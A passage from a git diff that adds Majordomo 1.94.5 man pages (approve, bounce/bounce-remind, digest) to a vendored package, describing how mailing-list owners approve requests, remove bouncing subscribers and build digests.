the e-mail address of the associated Majordomo server. It is +assumed that the value in the third column is an Internet-style +"something@somewhere" address, and that postings for "List" should be sent +to "List@somewhere". Since this file +.B only +needs to be read by the user, it should be mode 600 to protect the +passwords. +.SH FILES +~/.majordomo +.sp 0 +/usr/local/lib/mail/majordomo/ +.SH SEE ALSO +majordomo(8),perl(1),resend(1). +.SH BUGS +There is no direct support for MH(1), so MH users will have to run +.B approve +directly on the message file in their inbox. +.sp +The +.I .majordomo +file requires an at-sign, "@", in the address of the Majordomo server, even +if it colocated on the same system as the list-owner. +.SH AUTHORS +Majordomo and most of the ancillary perl code was written by Brent Chapman, +. +This man page was written by Jim Duncan, . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.man new file mode 100644 index 0000000..afe2f97 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/approve.man @@ -0,0 +1,132 @@ + + + +APPROVE(1) USER COMMANDS APPROVE(1) + + + +NAME + approve - approve a Majordomo request + +SYNOPSIS + approve [filename] + +DESCRIPTION + approve automates the task of replying to an approval + request from Majordomo. Input is the e-mail message con- + taining Majordomo's request, read from _f_i_l_e_n_a_m_e, or read + from standard input if no filename is specified. + + approve currently understands two types of requests; those + requesting subscription to a _c_l_o_s_e_d list, and those which + bounced due to a lack of permission to post to a moderated, + or _p_r_i_v_a_t_e, mailing list. approve reads the body of the + message from Majordomo to determine the appropriate action. + Assuming a message containing a subscription request like + the following: + + From: Majordomo@This.COM + To: this-list-approval@This.COM + + Joe User requests you approve the fol- + lowing: + + subscribe this-list Joe User + + If you approve, send a line such as the following to + Majordomo@This.COM: + + approve PASSWD subscribe this-list Joe User + + + then running approve on the message by saving it in a file, + e.g., + + approve /tmp/request + + or + + approve < /tmp/request + + will result in the following reply to Majordomo: + + To: Majordomo@This.COM + + approve PASSWD subscribe this-list User@Fubar.COM (Joe + User) + + If approve is on the user's path, then it's possible to exe- + cute it via a shell escape, piping the current message to + + + +Sun Release 4.1 Last change: 1 + + + + + + +APPROVE(1) USER COMMANDS APPROVE(1) + + + + approve from a mail program, e.g., + + !approve + + would _a_p_p_r_o_v_e the current message in /usr/ucb/Mail. + + If, in the latter case, the "Subject:" line of the request + from Majordomo is "BOUNCE : ", the message is + treated as a posting rejected by resend for some reason, and + is reformatted with appropriate "Approved:" headers to cause + it to succeed, and then it is resubmitted to Majordomo for + posting. This provides an easy mechanism for the moderator + of a mailing list to approve postings to the list. + +CONFIGURATION + approve assumes that the _a_p_p_r_o_v_e password for each list is + the same as the _a_p_p_r_o_v_a_l password used by resend, and that + this password is stored in a file called ._m_a_j_o_r_d_o_m_o in the + user's home directory. The file has the following format: + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.GOV + + The first column specifies the name of the mailing list, the + second column specifies the list-owner's password for the + given list, and the third column specifies the e-mail + address of the associated Majordomo server. It is assumed + that the value in the third column is an Internet-style + "something@somewhere" address, and that postings for "List" + should be sent to "List@somewhere". Since this file only + needs to be read by the user, it should be mode 600 to pro- + tect the passwords. + +FILES + ~/.majordomo + /usr/local/lib/mail/majordomo/ + +SEE ALSO + majordomo(8),perl(1),resend(1). + +BUGS + There is no direct support for MH(1), so MH users will have + to run approve directly on the message file in their inbox. + + The ._m_a_j_o_r_d_o_m_o file requires an at-sign, "@", in the address + of the Majordomo server, even if it colocated on the same + system as the list-owner. + +AUTHORS + Majordomo and most of the ancillary perl code was written by + Brent Chapman, . This man page was + written by Jim Duncan, . + + + +Sun Release 4.1 Last change: 2 + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 new file mode 100644 index 0000000..b585ecd --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 @@ -0,0 +1 @@ +.so man1/bounce.1 diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man new file mode 100644 index 0000000..5694ac3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man @@ -0,0 +1,198 @@ + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + NNNNAAAAMMMMEEEE + bounce, bounce-remind - handle majordomo list subscribers + whose mail is undeliverable + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + [[[[----uuuunnnnssssuuuubbbb]]]] _m_a_j_o_r_d_o_m_o-_l_i_s_t _u_s_e_r-_a_d_d_r_e_s_s + + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + ----eeeexxxxppppiiiirrrreeee [[[[----mmmmaaaaxxxxaaaaggggeeee _d_a_y_s ]]]] _b_o_u_n_c_e-_a_d_d_r_e_s_s-_f_i_l_e + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + bbbboooouuuunnnncccceeee and bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd are perl scripts which help list + owners handle subscribers whose mail is bouncing. Mail is + "bounced" in this context when it is undeliverable because + hosts or addresses are unreachable or because of other mail + errors. + + Mail is also "bounced" by the resend script for various + administrative reasons; these bounces are described in + aaaapppppppprrrroooovvvveeee(1). + + When a list owner observes that an email address + consistently causes mail errors, the owner may use bbbboooouuuunnnncccceeee to + remove the address from the list and place the address on a + special bbbboooouuuunnnncccceeeessss mailing list. + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd,,,, which should be run nightly by ccccrrrroooonnnn(4M), + sends a message to each of the user addresses on the bbbboooouuuunnnncccceeeessss + list, on the chance that the mail error has been corrected. + The message informs the addressee that their mail has been + undeliverable and that they have been removed from one or + more majordomo lists. It also instructs them how to + unsubscribe from the bbbboooouuuunnnncccceeeessss list and re-subscribe to the + list of their choice. + + bbbboooouuuunnnncccceeee can also be used to expire addresses off the bbbboooouuuunnnncccceeeessss + list after a predetermined number of days. + + If bbbboooouuuunnnncccceeee is invoked under a name that contains ``unsub'' it + will simply unsubscribe the offending address from the + majordomo list; it will not place the address on the bbbboooouuuunnnncccceeeessss + list. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + These options relate to bbbboooouuuunnnncccceeee;;;; bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd takes no + arguments or options. + + + + Page 1 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + ----dddd Debug; print what would be done, but don't do it. + + ----ffff ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Use the specified configuration file. The default + is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the format for this file is + described in the CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the + aaaapppppppprrrroooovvvveeee(1) man page. This file provides the + list-owner's password for each list and the + address of the corresponding Majordomo server. + + ----mmmmaaaajjjjoooorrrrddddoooommmmoooo sssseeeerrrrvvvveeeerrrr----aaaaddddddddrrrreeeessssssss + Use this _s_e_r_v_e_r-_a_d_d_r_e_s_s for majordomo rather than + the address from the configuration file. + + ----uuuunnnnssssuuuubbbb Unsubscribes the offending address from the + majordomo list, without entering that address on + the bbbboooouuuunnnncccceeeessss list. This is equivalent to invoking + bbbboooouuuunnnncccceeee under a name containing ``unsub''. + + ----eeeexxxxppppiiiirrrreeee Expire entries from the specified bbbboooouuuunnnncccceeeessss list. + + ----mmmmaaaaxxxxaaaaggggeeee ddddaaaayyyyssss + Expire entries older than ddddaaaayyyyssss.... The default is + coded into the bbbboooouuuunnnncccceeee script as $$$$ddddeeeeffffaaaauuuulllltttt____mmmmaaaaxxxxaaaaggggeeee + days. It is set to 21 days in the majordomo + distribution. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiisssstttt + The list from which the offending user-address + should be removed. + + uuuusssseeeerrrr----aaaaddddddddrrrreeeessssssss + The address to which mail is currently + undeliverable. + + bbbboooouuuunnnncccceeee----aaaaddddddddrrrreeeessssssss----ffffiiiilllleeee + The name of the file that contains the bbbboooouuuunnnncccceeeessss + list. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + If bbbboooouuuunnnncccceeee is going to be used only to unsubscribe users, a + link can be created whose name contains ``unsub'' so that + users could be unsubscribed simply by typing + + unsub firewalls-digest fury@world.std.com + + for example. + + In any case, a configuration file must exist and must + contain the names of the owner's lists, along with their + respective passwords and the email address of the associated + + + + Page 2 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + Majordomo server. The format of this file is given in the + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the aaaapppppppprrrroooovvvveeee(1) man page. The + default name for this file is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the same + file can serve for both the aaaapppppppprrrroooovvvveeee and bbbboooouuuunnnncccceeee scripts. + + The bbbboooouuuunnnncccceeeessss list, if it is used, must be created. It is + like any other Majordomo list excepting that the priority of + this list should be set to jjjjuuuunnnnkkkk and its owner and sender + should be nnnnoooobbbbooooddddyyyy.... Of course, the ``nobody'' mail alias must + exist; it is should be set to /dev/null. That is, + + nobody: /dev/null + + This will spare the human list owner as well as the + postmaster from having to deal with mail bouncing from the + bbbboooouuuunnnncccceeeessss list. + + A ccccrrrroooonnnn(1M) job should be set up to run bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd every + night. bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd must run on the same server as the + bbbboooouuuunnnncccceeeessss list; it mails a message to everyone on the list + advising them that they have been removed from one or more + Majordomo lists and instructs them how to get off the + bbbboooouuuunnnncccceeeessss list and back on the list of their choice. + + bbbboooouuuunnnncccceeee can only expire addresses if it has a copy of the + bbbboooouuuunnnncccceeeessss subscriber file, so this can either be run on the + server occasionally by the Majordomo administrator or by a + cron job. It can also be run remotely with a copy of the + bbbboooouuuunnnncccceeeessss file retrived by the use of the ``who bounces'' + command to majordomo. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Kevin + Kelleher . + + + + + + + + + + + + Page 3 (printed 9/24/96) + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 new file mode 100644 index 0000000..161d02f --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.1 @@ -0,0 +1,221 @@ +.TH bounce 1 +.SH NAME +bounce, bounce-remind \- handle majordomo list subscribers whose mail is undeliverable +.LP +.SH SYNOPSIS +.B bounce [\-d] [\-f +.I config-file +.B ] [\-majordomo +.I server-address +.B ] [\-unsub] +.I majordomo-list user-address +.LP +.B bounce [\-d] [\-f +.I config-file +.B ] [\-majordomo +.I server-address +.B ] \-expire [\-maxage +.I days +.B ] +.I bounce-address-file +.LP +.B bounce-remind +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +.B bounce +and +.B bounce-remind +are perl scripts which help list owners +handle subscribers whose mail is bouncing. Mail is "bounced" +in this context when it is undeliverable because hosts or +addresses are unreachable or because of other mail errors. +.LP +Mail is also "bounced" by the resend script for various administrative +reasons; these bounces are described in +.BR approve (1). +.LP +When a list owner observes that an email address consistently causes +mail errors, the owner may use +.B bounce +to remove the address from the list and place the address on a special +.BR bounces +mailing list. +.LP +.B bounce-remind, +which should be run nightly by +.BR cron (4M), +sends a message to each of the user addresses on the +.BR bounces +list, on the chance that the mail error has been corrected. +The message informs the addressee that their mail has been +undeliverable and that they have been removed from one or +more majordomo lists. It also instructs them how to unsubscribe +from the +.BR bounces +list and re-subscribe to the list of their choice. +.LP +.B bounce +can also be used to expire addresses off the +.BR bounces +list after a predetermined number of days. +.LP +If +.B bounce +is invoked under a name that contains ``unsub'' it will simply +unsubscribe the offending address from the majordomo list; it +will not place the address on the +.BR bounces +list. +.LP +.SH OPTIONS +These options relate to +.B bounce; bounce-remind +takes no arguments or options. +.LP +.TP 10 +.B \-d +Debug; print what would be done, but don't do it. +.TP +.B \-f config-file +Use the specified configuration file. The default is +.BR ~/.majordomo, +and the format for this file is described in the +.BR CONFIGURATION +section of the +.BR approve (1) +man page. This file provides the list-owner's password for +each list and the address of the corresponding Majordomo +server. +.TP +.B \-majordomo server-address +Use this +.IR server-address +for majordomo rather than the address from the configuration file. +.TP +.B \-unsub +Unsubscribes the offending address from the majordomo list, +without entering that address on the +.BR bounces +list. This is equivalent to invoking +.BR bounce +under a name containing ``unsub''. +.TP +.B \-expire +Expire entries from the specified +.BR bounces +list. +.TP +.B \-maxage days +Expire entries older than +.BI days. +The default is coded into the +.BR bounce +script as +.BI $default_maxage +days. It is set to 21 days in the majordomo distribution. +.LP +.SH OPERANDS +.TP 10 +.B majordomo-list +The list from which the offending user-address should be removed. +.TP +.B user-address +The address to which mail is currently undeliverable. +.TP +.B bounce-address-file +The name of the file that contains the +.BR bounces +list. +.LP +.SH CONFIGURATION +If +.B bounce +is going to be used only to unsubscribe users, a link can be +created whose name contains ``unsub'' so that users could be +unsubscribed simply by typing +.sp 1 +.RS 3 +unsub firewalls-digest fury@world.std.com +.RE +.sp 1 +for example. +.LP +In any case, a configuration file must exist and must contain +the names of the owner's lists, along with their respective +passwords and the email address of the associated Majordomo +server. The format of this file is given in the +.B CONFIGURATION +section of the +.BR approve (1) +man page. The default name for this file is +.BR ~/.majordomo, +and the same file can serve for both the +.B approve +and +.B bounce +scripts. +.LP +The +.B bounces +list, if it is used, must be created. It is like any other +Majordomo list excepting that the priority of this list +should be set to +.B junk +and its owner and sender should be +.B nobody. +Of course, the ``nobody'' mail alias must exist; it is should +be set to /dev/null. That is, +.sp 1 +.RS 3 +nobody: /dev/null +.RE +.sp 1 +This will spare the human list owner as well as the postmaster +from having to deal with mail bouncing from the +.B bounces +list. +.LP +A +.BR cron (1M) +job should be set up to run +.B bounce-remind +every night. +.B bounce-remind +must run on the same server as the +.B bounces +list; it mails a message to everyone on the list advising +them that they have been removed from one or more Majordomo +lists and instructs them how to get off the +.B bounces +list and back on the list of their choice. +.LP +.B bounce +can only expire addresses if it has a copy of the +.B bounces +subscriber file, so this can either be run on the server +occasionally by the Majordomo administrator or by a cron +job. It can also be run remotely with a copy of the +.B bounces +file retrived by the use of the ``who bounces'' command +to majordomo. +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.PD +.LP +.SH SEE ALSO +.B majordomo(8),approve(1) +.LP +.SH AUTHOR +Majordomo and most of the ancillary perl code was written by +Brent Chapman . +Majordomo is available via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Kevin Kelleher . diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man new file mode 100644 index 0000000..5694ac3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man @@ -0,0 +1,198 @@ + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + NNNNAAAAMMMMEEEE + bounce, bounce-remind - handle majordomo list subscribers + whose mail is undeliverable + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + [[[[----uuuunnnnssssuuuubbbb]]]] _m_a_j_o_r_d_o_m_o-_l_i_s_t _u_s_e_r-_a_d_d_r_e_s_s + + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + ----eeeexxxxppppiiiirrrreeee [[[[----mmmmaaaaxxxxaaaaggggeeee _d_a_y_s ]]]] _b_o_u_n_c_e-_a_d_d_r_e_s_s-_f_i_l_e + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + bbbboooouuuunnnncccceeee and bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd are perl scripts which help list + owners handle subscribers whose mail is bouncing. Mail is + "bounced" in this context when it is undeliverable because + hosts or addresses are unreachable or because of other mail + errors. + + Mail is also "bounced" by the resend script for various + administrative reasons; these bounces are described in + aaaapppppppprrrroooovvvveeee(1). + + When a list owner observes that an email address + consistently causes mail errors, the owner may use bbbboooouuuunnnncccceeee to + remove the address from the list and place the address on a + special bbbboooouuuunnnncccceeeessss mailing list. + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd,,,, which should be run nightly by ccccrrrroooonnnn(4M), + sends a message to each of the user addresses on the bbbboooouuuunnnncccceeeessss + list, on the chance that the mail error has been corrected. + The message informs the addressee that their mail has been + undeliverable and that they have been removed from one or + more majordomo lists. It also instructs them how to + unsubscribe from the bbbboooouuuunnnncccceeeessss list and re-subscribe to the + list of their choice. + + bbbboooouuuunnnncccceeee can also be used to expire addresses off the bbbboooouuuunnnncccceeeessss + list after a predetermined number of days. + + If bbbboooouuuunnnncccceeee is invoked under a name that contains ``unsub'' it + will simply unsubscribe the offending address from the + majordomo list; it will not place the address on the bbbboooouuuunnnncccceeeessss + list. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + These options relate to bbbboooouuuunnnncccceeee;;;; bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd takes no + arguments or options. + + + + Page 1 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + ----dddd Debug; print what would be done, but don't do it. + + ----ffff ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Use the specified configuration file. The default + is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the format for this file is + described in the CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the + aaaapppppppprrrroooovvvveeee(1) man page. This file provides the + list-owner's password for each list and the + address of the corresponding Majordomo server. + + ----mmmmaaaajjjjoooorrrrddddoooommmmoooo sssseeeerrrrvvvveeeerrrr----aaaaddddddddrrrreeeessssssss + Use this _s_e_r_v_e_r-_a_d_d_r_e_s_s for majordomo rather than + the address from the configuration file. + + ----uuuunnnnssssuuuubbbb Unsubscribes the offending address from the + majordomo list, without entering that address on + the bbbboooouuuunnnncccceeeessss list. This is equivalent to invoking + bbbboooouuuunnnncccceeee under a name containing ``unsub''. + + ----eeeexxxxppppiiiirrrreeee Expire entries from the specified bbbboooouuuunnnncccceeeessss list. + + ----mmmmaaaaxxxxaaaaggggeeee ddddaaaayyyyssss + Expire entries older than ddddaaaayyyyssss.... The default is + coded into the bbbboooouuuunnnncccceeee script as $$$$ddddeeeeffffaaaauuuulllltttt____mmmmaaaaxxxxaaaaggggeeee + days. It is set to 21 days in the majordomo + distribution. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiisssstttt + The list from which the offending user-address + should be removed. + + uuuusssseeeerrrr----aaaaddddddddrrrreeeessssssss + The address to which mail is currently + undeliverable. + + bbbboooouuuunnnncccceeee----aaaaddddddddrrrreeeessssssss----ffffiiiilllleeee + The name of the file that contains the bbbboooouuuunnnncccceeeessss + list. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + If bbbboooouuuunnnncccceeee is going to be used only to unsubscribe users, a + link can be created whose name contains ``unsub'' so that + users could be unsubscribed simply by typing + + unsub firewalls-digest fury@world.std.com + + for example. + + In any case, a configuration file must exist and must + contain the names of the owner's lists, along with their + respective passwords and the email address of the associated + + + + Page 2 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + Majordomo server. The format of this file is given in the + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the aaaapppppppprrrroooovvvveeee(1) man page. The + default name for this file is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the same + file can serve for both the aaaapppppppprrrroooovvvveeee and bbbboooouuuunnnncccceeee scripts. + + The bbbboooouuuunnnncccceeeessss list, if it is used, must be created. It is + like any other Majordomo list excepting that the priority of + this list should be set to jjjjuuuunnnnkkkk and its owner and sender + should be nnnnoooobbbbooooddddyyyy.... Of course, the ``nobody'' mail alias must + exist; it is should be set to /dev/null. That is, + + nobody: /dev/null + + This will spare the human list owner as well as the + postmaster from having to deal with mail bouncing from the + bbbboooouuuunnnncccceeeessss list. + + A ccccrrrroooonnnn(1M) job should be set up to run bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd every + night. bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd must run on the same server as the + bbbboooouuuunnnncccceeeessss list; it mails a message to everyone on the list + advising them that they have been removed from one or more + Majordomo lists and instructs them how to get off the + bbbboooouuuunnnncccceeeessss list and back on the list of their choice. + + bbbboooouuuunnnncccceeee can only expire addresses if it has a copy of the + bbbboooouuuunnnncccceeeessss subscriber file, so this can either be run on the + server occasionally by the Majordomo administrator or by a + cron job. It can also be run remotely with a copy of the + bbbboooouuuunnnncccceeeessss file retrived by the use of the ``who bounces'' + command to majordomo. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Kevin + Kelleher . + + + + + + + + + + + + Page 3 (printed 9/24/96) + + + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 b/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 new file mode 100644 index 0000000..24e2488 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 @@ -0,0 +1,357 @@ +.TH digest 1 +.SH NAME +digest \- receive a file for a digest, or create and mail a digest +.LP +.SH SYNOPSIS +.B digest \-r|R|m|p \-C \-l +.I majordomo-listname recipient +.LP +.B digest \-r|R|m|p +[ +.B \-c +.I configuration-file +] +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +The digest script is a perl script which automates the +management of digests of electronic mail. It can be +run in a standalone configuration or as part of Majordomo. +.LP +It requires two directories: a work directory and an +archive directory. Incoming email messages are held +in the work directory until they are collected into a +digest. The digests are created and stored +in the archive directory. +.LP +Incoming email messages are given +numerical names starting with ``001'' and are numbered in +order of arrival. The digests are named according to volume +and number. For example, the filename ``v01.n028'' indicates +volume 1, number 28 of the digest. +.LP +It should be noted that digest needs a configuration file +to define all of its operating parameters. If no such +file is specified, digest will use the +.SB $HOME/.digestrc +file. +.LP +Several aspects of digest configuration determine how and +when a digest is created. A digest can be created at +regular intervals (as long as there are incoming messages) +or whenever certain configurable conditions are met. These +conditions are: how large the digest can be (in characters), +how long the digest can be (in lines), and how old the messages +in the digest can be (in days). +.LP +.SH OPTIONS +.TP 10 +.B \-r +Receive an email message via standard input +and place the file into the working directory. +If any one of the conditions for digest creation +are met, create and mail a digest. These conditions +are the same as those described under option +.BR \-p. +.TP +.B \-R +Similar to +.BR \-r, +except that it will not create a digest. It simply +places the message in the work directory and stops. +.TP +.B \-m +If there are any numbered files in the working +directory, create and mail a digest. Store the +digest in the archive directory. This is the +option used by majordomo's mkdigest command. +.TP +.B \-p +Conditionally creates a digest. If any one of the +conditions for digest creation are met, the digest +is created and sent. There are three conditions, +which are connected to three limits: the digest +size in characters, the digest length in lines, and +the age of the oldest message in days. If one of the +files is older than the age limit, a digest is created. +If the sum of the messages exceeds either of the size +limits, a digest is created. The size limit in characters +must be configured; the other two limits are optional. +.TP +.B \-c configuration-file +Use the parameters defined in +.IR configuration-file. +.TP +.B \-C +Read the majordomo configuration file +(either /etc/majordomo.cf or ~majordomo/majordomo.cf) +and the configuration file for the Majordomo list specified in the +.BR \-l +option to define operational parameters. If both +.BR \-C +and +.BR \-c +options are specified (not recommended) only the +.BR \-C +option will be used. +.TP +.B \-l majordomo-listname +This option is ignored if used without the +.BR \-C +option. Specifies the Majordomo email list. +.LP +.SH OPERANDS +.TP 10 +.B recipient +Email recipient of the digest. This operand is ignored if used +without the +.BR \-C +option. It specifies one of the system mail +aliases created for the Majordomo list named in the +.BR \-l +option. +.LP +.SH MAJORDOMO DIGEST CONFIGURATION +When used as a part of Majordomo, digest takes these parameters +from +.B majordomo.cf +(either /etc/majordomo.cf or ~majordomo/majordomo.cf): +.LP +.PD 0 +.B $listdir +\- the location of the mailing lists +.LP +.B $digest_work_dir +\- parent directory for the digests' work directories +.LP +.B $filedir +\- parent directory for archive directories +.LP +.B $filedir_suffix +\- an optional identifier (may be the null string) +.PD +.LP +Incoming messages for +.B $listname-digest +will be held in +.B $digest_work_dir/$listname-digest. +.LP +Digests will be stored in +.B $filedir/$listname-digest$filedir_suffix. +.LP +The list's configuration file will be +.B $listdir/$listname-digest.config. +.LP +Examples of these values are given in +.SB EXAMPLES, +below. +.LP +The list's configuration file contains several digest parameters that +are not yet implemented and/or should NOT be changed from their defaults +(blank): +.B digest_archive, digest_rm_footer, digest_rm_fronter, digest_work_dir. +.LP +The parameters which specifically deal with digest creation +and maintenance are: +.LP +.PD 0 +.B digest_name +\- the title of the digest +.LP +.B digest_volume +\- volume number +.LP +.B digest_issue +\- issue number +.LP +.B digest_maxdays +\- age limit in days for oldest message in the digest +.LP +.B digest_maxlines +\- maximum number of lines in a digest +.LP +.B maxlength +\- maximum number of characters in a digest +.LP +.B message_fronter +\- text prepended to the digest +.LP +.B message_footer +\- text appended to the digest +.PD +.LP +The last three parameters are also used in the configuration of +an ordinary (non-digest) Majordomo list. +.LP +Each digest begins with the a line containing the +.B digest_name, current date, digest_volume and digest_issue. +. The digest script will update the issue number in the configuration file. +.LP +A blank line follows, and then the text from the +.B message_fronter, +if any. The message fronter may contain the +.SB _SUBJECT_ +token, which will be replaced by the subject lines from the messages +in the digest. +.LP +The text in the +.B message_footer, +if any, will be appended to the digest. +.LP +To embed a blank line in the +.B message_footer +or +.B message_fronter, +put a `-' as the first and ONLY character on the line. To +preserve whitespace at the beginning of a line, put a `-' +on the line before the whitespace to be preserved. To put +a literal `-' at the beginning of a line, double it. +.LP +Both message_footer and message_fronter may also use the tokens +.SB $LIST, $SENDER, +and +.SB $VERSION, +which will be expanded to, +respectively: the name of the current list, the sender as taken +from the from line, and the current version of Majordomo. +.LP +Examples of the aliases usually used with the digest are +given in +.SB EXAMPLES, +below. +.LP +The list owner can prompt Majordomo to build a digest by +sending the command +.LP +mkdigest +.I digest-name +[ +.I outgoing-address +] +.I digest-password +.LP +to majordomo either via email or from cron. The cron +command has the format: +.LP +echo mkdigest +.I digest-name +[ +.I outgoing-address +] +.I digest-password +| mail majordomo@domain.com +.LP +.SH STANDALONE DIGEST CONFIGURATION +The Majordomo distribution comes with a ``digest'' subdirectory. +The sample configuration file is called 